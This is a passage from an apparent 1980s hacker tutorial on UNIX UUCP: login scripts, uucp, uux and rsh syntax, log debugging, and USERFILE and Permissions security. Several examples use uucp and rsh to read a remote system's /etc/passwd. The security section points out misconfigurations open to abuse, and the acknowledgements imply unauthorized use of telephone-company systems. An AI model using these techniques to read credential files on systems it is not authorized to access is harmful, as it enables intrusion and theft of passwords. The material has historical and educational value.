  2321. The - separates that if the expected string is not received, to expect the 
  2322. string specified after the hyphen. Sometimes, you may need to send a special 
  2323. character, such as kill or newline, to the system if the expected string is not 
  2324. received. You can do that like this:
  2325.  
  2326. ogin:-BREAK-ogin: uucp assword: uucp
  2327.  
  2328. The -BREAK- means that if ogin: isn't received the first time, to send a break 
  2329. signal to the remote system, and then expect ogin: again. Other common entries 
  2330. are:
  2331.  
  2332. ogin:-@-ogin:           Send a kill character if the expected string isn't
  2333.                         received the first time.
  2334. ogin:-EOT-ogin:         Send a control-D if the expected string isn't received.
  2335. ogin:--ogin:            Send a null character if the expected string isnt' 
  2336.                         received.
  2337.  
  2338. If the system you wish to transfer files with doesn't send anything when you 
  2339. first connect to it, (say, you have to press return first), the first expect 
  2340. entry should be "" (nothing), and the first send field should be \r (a return 
  2341. character). There are certain characters, like return, which are represented by 
  2342. certain symbols or combinations of characters. Here is a list of these:
  2343.  
  2344. \r              -Return.
  2345. @               -Kill.
  2346. -               -Null/newline character.
  2347. ""              -Nothing.
  2348.  
  2349. UNUSUAL LOGIN ENTRIES
  2350. ---------------------
  2351.         Sometimes, the login entry for a system might contain more than just 
  2352. fields to expect the login prompt, send the username, expect the password 
  2353. prompt, and send the password. For instance, if you have to go through a 
  2354. multiplexer to get to the system, the login field would contain a subfield to 
  2355. select the proper system from the multiplexer.
  2356.         Sometimes, on systems, that use the Hayes smartmodem to dial out, the 
  2357. phone number field may be left unused (will contain an arbitrary entry, such as 
  2358. the word "UNUSED"), and the dialing command will be contained in the login 
  2359. field. For example:
  2360.  
  2361. ripco  Any ACU 1200 UNUSED  "" ATDT13125285020 CONNECT \r ernumber: new
  2362.  
  2363. So, when you try to transfer a file with a Unix system called "ripco":
  2364. "UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes 
  2365. command, so it is ignored by the modem. Next, the system moves the login field. 
  2366. The first expect subfield is "", which means to expect nothing. It then sends 
  2367. the string "ATDT13125285020", which is a Hayes dialing comand, which will make 
  2368. the modem dial 13125285020. When the string "CONNECT" is received (which is 
  2369. what the smartmodem will respond with when it connects), the system sends a 
  2370. carriage return and waits for the "Usernumber:" prompt. When it receives that, 
  2371. it sends "new". This completes the login.
  2372.  
  2373. UUCP SYNTAX
  2374. -----------
  2375.         Once you've completed an entry for the Unix system you wish to transfer 
  2376. files with, you can issue the uucp command, and attempt the transfer. The 
  2377. syntax to copy a file from the remote system is:
  2378.  
  2379. uucp remote![file pathname] [local pathname]
  2380.  
  2381. Where remote is the name of the system you wish to copy the file from, [file 
  2382. pathname] is the pathname of the file you wish to copy, and [local pathname] is 
  2383. the pathname of the file on the local system that you wish to name the copy 
  2384. that is made on the local system.
  2385. To transfer a file from the local system to the remote system, the syntax is:
  2386.  
  2387. uucp [local pathname] remote![file pathname]
  2388.  
  2389. Where [local pathname] is the file on the local system that you wish to 
  2390. transfer to the remote system, remote is the name of the remote system, and 
  2391. [file pathname] is the pathname you wish to give to the copy to be made on the 
  2392. remote system. 
  2393.  
  2394. So, to copy the ripco system's password file, type:
  2395.  
  2396. uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile
  2397.  
  2398. Which will, hopefully, copy the password file from ripco into a file on the 
  2399. local system called /usr/spool/uucppublic/ripcofile. The directory 
  2400. /usr/spool/uucppublic is a directory set up especially for the reception of 
  2401. uucp-transferred files, although you can have the file copied to any directory 
  2402. (if the directory permissions don't prevent it).
  2403.  
  2404. DEBUGGING UUCP PROCEDURES
  2405. -------------------------
  2406.         So, what if your transfer did not go through? Well, this section will 
  2407. detail how to find out what went wrong, and how to correct the situation.
  2408.  
  2409. UULOG
  2410. -----
  2411.         The uulog command is used to draw up a log of transactions with remote 
  2412. systems. You can either draw up the entries by system name, or the name of the 
  2413. user who initiated the transaction.
  2414. For our purposes, we only want to draw up the log by system name. The format 
  2415. is:
  2416.  
  2417. uulog -s[system name]
  2418.  
  2419. Now, this will pull up the logs for ALL transactions with this particular 
  2420. system. We only want the logs for the last attempted transaction with the 
  2421. system. Unfortunately, this can't be done, you'll just have to sort through the 
  2422. logs until you reach the sequence of the last transaction. If the logs extend 
  2423. back a long time, say about a week, however, you can use the grep command to 
  2424. call up the logs only for a certain date:
  2425.  
  2426. uulog -s[system] | grep mm/dd-
  2427.  
  2428. Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in 
  2429. the same form). This takes the output of the uulog command, and searches 
  2430. through it with the grep command and only prints out those entries which 
  2431. contain the date the grep command is searching for. The log entries will be in 
  2432. the form:
  2433.  
  2434. [username] [system] (month/day-hour:minute-pid) DESCRIPTION
  2435.  
  2436. Where:
  2437.  
  2438. username        -Is the userid of the account that initiated the transaction.
  2439. system          -Is the name of the system that the transaction was attempted
  2440.                 with.
  2441. month/day       -Date of transaction.
  2442. hour:minute     -Time of transaction.
  2443. job number      -The transfer's process id.
  2444. DESCRIPTION     -The log message.
  2445.  
  2446. An example of a typical log entry:
  2447.  
  2448. root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco)
  2449.  
  2450. In the above example, the root account initiated a transaction with the Ripco 
  2451. system. The system was contacted on November 20, at 2:00. The job number of the 
  2452. transaction is 1234.
  2453.  
  2454. Here is an explanation of the various log messages you will encounter, and 
  2455. their causes:
  2456.  
  2457. 1. SUCCEEDED (call to [system name])
  2458.  
  2459. The system was successfully contacted.
  2460.  
  2461. 2. DIAL FAILED (call to [system name])
  2462.  
  2463. Uucp failed to contact the system. The phone number entry for the system in the 
  2464. Systems file may be wrong, or in the wrong format.
  2465.  
  2466. 3. OK (startup)
  2467.  
  2468. Conversation with the remote system has been initiated.
  2469.  
  2470. 4. LOGIN FAILED
  2471.  
  2472. Uucp was unable to log into the remote system. There may be an error in the 
  2473. login field in the entry for the remote system in the Systems file, or line 
  2474. noise may have caused the login to fail.
  2475.  
  2476. 5. WRONG SYSTEM NAME
  2477.  
  2478. The system's entry in the Systems file has the wrong name for the system at the 
  2479. phone number specified in the entry.
  2480.  
  2481. 6. REMOTE DOES NOT KNOW ME
  2482.  
  2483. The remote system does not recognize the name of the local system, and will not 
  2484. perform transactions with an unknown system (some will, some won't...see the 
  2485. section on uucp security).
  2486.  
  2487. 7. REQUEST ([remote file] --> [local file] username)
  2488.  
  2489. The file transfer has been requested.
  2490.  
  2491. 8. OK (conversation complete)
  2492.  
  2493. The transfer has been completed.
  2494.  
  2495. 9. ACCESS DENIED
  2496.  
  2497. Security measures prevented the file transfers.
  2498. If you get this error, you will receive mail on the local system informing you 
  2499. that the transfer was denied by the remote.
  2500.  
  2501. 10. DEVICE LOCKED
  2502.  
  2503. All the dialout devices were currently in use.
  2504.  
  2505.  
  2506.  
  2507. A successful transaction log will usually look like this:
  2508.  
  2509. root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco)
  2510. root ripco (11/20-2:01-1234) OK (startup)
  2511. root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root)
  2512. root ripco (11/20-2:03 1234) OK (conversation complete)
  2513.  
  2514.         When an error occurs during a transfer with a system, a status file is 
  2515. created for that system, and remains for a set period of time, usually about an 
  2516. hour. During this time, that system cannot be contacted. These files, depending 
  2517. on which version of Unix you are on, will either be in the directory 
  2518. /usr/spool/uucp, and have the form:
  2519. STST..[system name]
  2520. or will be in the directory /usr/spool/uucp/.Status, and have the same name as 
  2521. the system. These status files will contain the reason that the last transfer 
  2522. attempt with the system failed. These files are periodically purged, and if you 
  2523. wish to contact the system before its status file is purged, you must delete 
  2524. its status file.
  2525. The files containing the failed transfer request will also remain. If you are
  2526. using the latest version of System V, these files will be in a subdirectory of
  2527. the directory /usr/spool/uucp. For instance, if the system is called ripco, 
  2528. the files will be in the directory /usr/spool/uucp/ripco. On other systems, 
  2529. these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. 
  2530. These files are in the form:
  2531.  
  2532. C.[system name]AAAAAAA
  2533.  
  2534. Where [system name] is the name of the system to be contacted, and AAAAAA is a 
  2535. the transfer's uucp job number. (You can see the transfer request's job number 
  2536. by specifying the j option when you initiate the transfer. For example, 
  2537. "uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the
  2538. transfer of the ripco system's password file, and display the job number on 
  2539. your screen.) Type "cat C.system[jobnumber]", and you will see something like 
  2540. this:
  2541.  
  2542. R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest
  2543.  
  2544. On earlier versions of Unix, these files will be in the directory 
  2545. /usr/spool/uucp/C. To find the file containing your transfer, display the 
  2546. contents of the files until you find the proper one. If your transfer fails, 
  2547. delete the transfer request file and the status file, correct any errors in the 
  2548. Systems file or whatever, and try again!
  2549.  
  2550. UUCP SECURITY
  2551. -------------
  2552.         Obviously, uucp access to files has to be restricted. Otherwise, 
  2553. anyone, from any system, could copy any file from the remote system. This 
  2554. section will cover the security features of the uucp facilities.
  2555.         The file /usr/lib/uucp/USERFILE contains a list of the directories that 
  2556. remote systems can copy from, and local users can send files from to remote 
  2557. systems. The entries in this file are in the format:
  2558.  
  2559. [local user],[system] [callback?] [directories]
  2560.  
  2561. Where:
  2562.  
  2563. local user      -Is the username of a local account. This is for the purpose
  2564.                 of restricting which directories a local user can send files
  2565.                 from to a remote system. 
  2566. system          -Is the name of a remote system. This is for the purpose of 
  2567.                 restricting which directories a specific remote system can
  2568.                 copy files from.
  2569. callback?       -If there is a c in this field, then if a transfer request is
  2570.                 received from the system indicated in the system field, then
  2571.                 the local system (in this case, the local system is the system
  2572.                 which receives the transfer request, rather than the system
  2573.                 that initiated it) will hang up and call the remote back (at
  2574.                 the number indicated in the remote's entry in the local's
  2575.                 Systems file) before starting the transfer.
  2576. directories     -Is a list of the pathnames of the directories that the remote
  2577.                 system indicated in the system field can copy files from, or
  2578.                 the local user indicated in the local user field can send files
  2579.                 from to a remote system.
  2580.  
  2581. A typical entry might look like:
  2582.  
  2583. local_dork,ripco - /usr/spool/uucppublic
  2584.  
  2585. This means that the user local_dork can only send files to a remote system 
  2586. which are in the directory /usr/spool/uucppublic, and the remote system ripco 
  2587. can only copy files from the local system that are in the directory 
  2588. /usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy 
  2589. files in that directory, and if they wish to copy a file from another portion 
  2590. of the system, they must notify a user on the system to move that file to the 
  2591. uucppublic directory. When a transfer request is received from a remote system, 
  2592. the local system scans through the userfile, ignoring the local user field (you 
  2593. can't restrict transfers with a particular user from a remote system...the copy 
  2594. access granted to a system in the USERFILE is granted to all users from that 
  2595. system), until it finds the entry for that system, and if the system is allowed 
  2596. to copy to or from that directory, the transfer is allowed, otherwise it is 
  2597. refused. If an entry for that system is not found, the USERFILE is scanned 
  2598. until an entry with a null system name (in other words, an entry with no system 
  2599. name specified) is found, and the directory permissions for that entry are 
  2600. used. If no entry is found with a null system name, the transfer is denied.
  2601. There are a few quirks about USERFILE entries. First, if you have copy access 
  2602. to a directory, you also have copy access to any directories below it in the 
  2603. system tree. Thus, lazy system operators, rather than carefully limiting a 
  2604. system's access to only the directories it needs access to, often just give 
  2605. them copy access to the root directory, thus giving them copy access to the 
  2606. entire system tree. Yet another mistake made by careless superusers is leaving 
  2607. the system name field empty in the entries for the local users. Thus, if a 
  2608. system that doesn't have an entry in the USERFILE requests a transfer with the 
  2609. local system, when the USERFILE is scanned for an entry with a null system 
  2610. name, if the entries for the local users come first in the USERFILE, the system 
  2611. will use the first entry for a local user it finds, since it has a null system 
  2612. name in the system name field. Note, that none of these security features even 
  2613. works if the uucp account on the system the transfer is requested with does not 
  2614. use the uucico shell. In any case, whether the account uses the uucico shell or 
  2615. not, even if you have copy access to a directory, individual file or directory 
  2616. protections may prevent the copying. For information on uucp security in yet 
  2617. another version of the uucp facilities, see the piece on the Permissions file 
  2618. in the section on uux security.
  2619.  
  2620. EXECUTING COMMANDS ON A REMOTE SYSTEM
  2621. -------------------------------------
  2622.         There are 2 commands for executing commands on a remote system- uux and 
  2623. rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne 
  2624. shell]). This section will cover the uses of both.
  2625.  
  2626. UUX
  2627. ---
  2628.         The uux command is one of the uucp utilities. This is used, not for 
  2629. file transfers, but for executing non-interactive commands on a remote system. 
  2630. By non-interactive, I mean commands that don't request input from the user, but 
  2631. are executed immediately when issued, such as rm and cp. The format is:
  2632.  
  2633. uux remote!command line
  2634.  
  2635. Where remote is the name of the remote system to perform the command on, and 
  2636. the rest (command line) is the command to be performed, and any arguments to 
  2637. the command. You will not receive any of the commnand's output, so this command 
  2638. can't be used for, say, printing the contents of a text file to your screen.
  2639.  
  2640. UUX SECURITY
  2641. ------------
  2642.         If the uucp account on the remote system uses the uucico shell, then 
  2643. these security features apply to it.
  2644.  
  2645.         The file /usr/lib/uucp/Commands file contains a list of the commands a 
  2646. remote system can execute on the system. By remote system, in this case, I mean 
  2647. the system that the user who initiates the uux command is on, and local system 
  2648. will mean the system that receives the uux request. Entries in the file 
  2649. /usr/lib/uucp/Commands are in the following format:
  2650.  
  2651. PATH=[pathname]
  2652. command
  2653. command
  2654.   " to infinity...
  2655. command,system
  2656.  
  2657. The first line, PATH=[pathname], sets the searchpath for the remote system 
  2658. requesting the uux execution of a command on the local system. This entry is 
  2659. just the same as, say, a line in a login file that sets the searchpath for a 
  2660. regular account, example: PATH=/bin:/usr/bin
  2661. Which sets the searchpath to search first the directory /bin, and the the 
  2662. directory /usr/bin when a command is issued. The following entries are the base 
  2663. names of the programs/commands that the remote can execute on the local system. 
  2664. The last program/command in this list is followed by a comma and the name of 
  2665. the remote site. For example:
  2666.  
  2667. PATH=/bin
  2668. rmail
  2669. lp,ripco
  2670.  
  2671. Means that the remote system Ripco can execute the rmail and lp commands on the 
  2672. local system. Usually, only the lp and rmail commands will be allowed.
  2673.         Again, we come to another, "different" version of the uucp facilities. 
  2674. On some systems, the commands a remote system can execute on the local system 
  2675. are contained in the file /usr/lib/uucp/Permissions. Entries in this file are 
  2676. in the form:
  2677.  
  2678. MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ=
  2679. [directories] WRITE=[directories]
  2680.  
  2681. Where:
  2682.  
  2683. Remote is the name of the remote system. Commands is a list of the commands 
  2684. the remote may execute on the local system, in the form:
  2685. pathname:pathname
  2686.  
  2687. For example:
  2688.  
  2689. /bin/rmail:/usr/bin/netnews
  2690.  
  2691. The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy 
  2692. files from the local system. The yes/no after "SEND=" tells whether or not the 
  2693. remote system can send files to the local system. The list of directories after 
  2694. "READ=" tells which directories the remote can copy files from (provided that 
  2695. it has REQUEST privileges), and is in the form:
  2696.  
  2697. pathname:pathname...etc.
  2698.  
  2699. For example:
  2700.  
  2701. /usr/spool/uucppublic:/usr/lib/uucp
  2702.  
  2703. Again, as before, the remote has copy access to any directories that are below 
  2704. the directories in the list in the system tree. The list of directories after 
  2705. "WRITE=" is in the same form as the list of directories after "READ=", and is a 
  2706. list of the directories that the remote can copy files TO on the local system.
  2707.  
  2708. RSH
  2709. ---
  2710.         This is a new feature which I have seen on a few systems. This is not, 
  2711. to the best of my knowledge, a System V feature, but a package available for 
  2712. 3rd party software vendors. If the rsh command is featured on a system, the 
  2713. restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote 
  2714. shell, and is for the execution of any command, interactive or otherwise, on a 
  2715. remote system. The command is executed realtime, and the output from the 
  2716. command will be sent to your display. Any keys you press while this command is 
  2717. being executed will be sent to the remote system, including breaks and 
  2718. interrupts. The format is:
  2719.  
  2720. rsh [system] command line
  2721.  
  2722. For example:
  2723.  
  2724. rsh ripco cat /etc/passwd
  2725.  
  2726. Will print out the /etc/passwd file of the Ripco system on your screen. To the 
  2727. best of my knowledge, the only security features of the rsh command are the 
  2728. individual file and directory protections of the remote system.
  2729.  
  2730. UUNAME AND UUSTAT
  2731. -----------------
  2732.         These are 2 commands which are for use by users to show the state of 
  2733. the local system's uucp facilities. Uuname gives a list of all the system names 
  2734. in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux 
  2735. jobs.
  2736.  
  2737. NETWORK MAIL
  2738. ------------
  2739.         There are several different ways of sending mail to users on other 
  2740. systems. First of all, using the uucp and uux commands. Simply edit a text file 
  2741. containing the message you wish to send, and uucp a copy of it to the remote 
  2742. system. Then send it to the target user on that system using the uux command:
  2743.  
  2744. uux system!rmail [username] < [pathname]
  2745.  
  2746. Where system is the name of the system the target user is on, username is the 
  2747. name of the user you wish to send the mail to, and pathname is the pathname of 
  2748. the text file you sent to the remote system. This method works by executing the 
  2749. rmail command (Receive Mail), the syntax of which is "rmail [user]", and 
  2750. redirecting its input from the file you sent to the remote. This method will 
  2751. only work if the remote allows users from your local system to execut the rmail 
  2752. command.
  2753.         The second method is for systems which feature the remote shell (rsh) 
  2754. command. If the remote system can be contacted by your local system via rsh, 
  2755. type:
  2756.  
  2757. rsh system!mail [user]
  2758.  
  2759. And once connected, enter your message as normal.
  2760.         This last method is the method of sending mail over uucp networks. This 
  2761. method is the one employed by USENET and other large uucp networks, as well as 
  2762. many smaller and/or private networks. This method uses the simple mail command:
  2763.  
  2764. mail system!system!system![and so on to infinity]!system@user
  2765.  
  2766. Where:
  2767. The list of systems is the routing to the target system, and user is the mail 
  2768. recipient on the target system. The routing takes a bit of explanation. Imagine 
  2769. something a uucp network with connections like this:
  2770.  
  2771.                         unix1
  2772.                           |
  2773.                 -------------------
  2774.                 |                 |
  2775.               unix2             unix3
  2776.                 |                 |
  2777.               unix4-------------unix5
  2778.  
  2779. This network map shows what systems are on the network, and which systems have 
  2780. entries for which other systems in its Systems (L.sys) file. In this example:
  2781.  
  2782. Unix1 has entries for unix2 and unix3.
  2783. Unix2 has entries for unix1 and unix4.
  2784. Unix3 has entries for unix1 and unix5.
  2785. Unix4 has entries for unix2 and unix5.
  2786. Unix5 has entries for unix3 and unix4.
  2787.  
  2788. Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so 
  2789. directly, since it has no means of reaching it (no entry for it in its Systems 
  2790. file). So, it would "forward" the mail through a series of other systems. For 
  2791. example, to send mail to the user root on unix5, any of these routings could be 
  2792. used:
  2793.  
  2794. unix3!unix5@root
  2795. unix2!unix4!unix5@root
  2796.  
  2797. Obviously, the first routing would be the shortest and quickest. So, to mail a 
  2798. message from unix1 to the root user on unix5, you would type:
  2799.  
  2800. mail unix3!unix5@root
  2801.  
  2802. Then type in your message and press control-D when finished, and the uucp 
  2803. facilities will deliver your mail.
  2804.  
  2805. ACKNOWLEDGEMENTS
  2806. ----------------
  2807.         Well, this is it- the end of the file. I hope you've found it 
  2808. informative and helpful. Before I go on, I'd like to thank a few people whose 
  2809. assistance made writing this file either A: possible or B: easier-
  2810.  
  2811. Shadow Hawke I, for sharing many a Unix account with me.
  2812. The Warrior (of 312), for helping me get started in hacking.
  2813. Omega-- for helping me hack a large network of Unix systems.
  2814. Psychedelic Warlord, for helping me with a BSD Unix system.
  2815. Shooting Shark, for his C decoy, and more than a few good posts on Private 
  2816. Sector.
  2817. Kid&Co, for providing me with some information on the Telnet program.
  2818. And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the 
  2819. country for the use of their systems. Thanks, all!
  2820.  
  2821. -------------
  2822. Corrections:
  2823. I incorrectly listed in one section that chown was the command to change file protections.
  2824. The correct command is chmod.
  2825.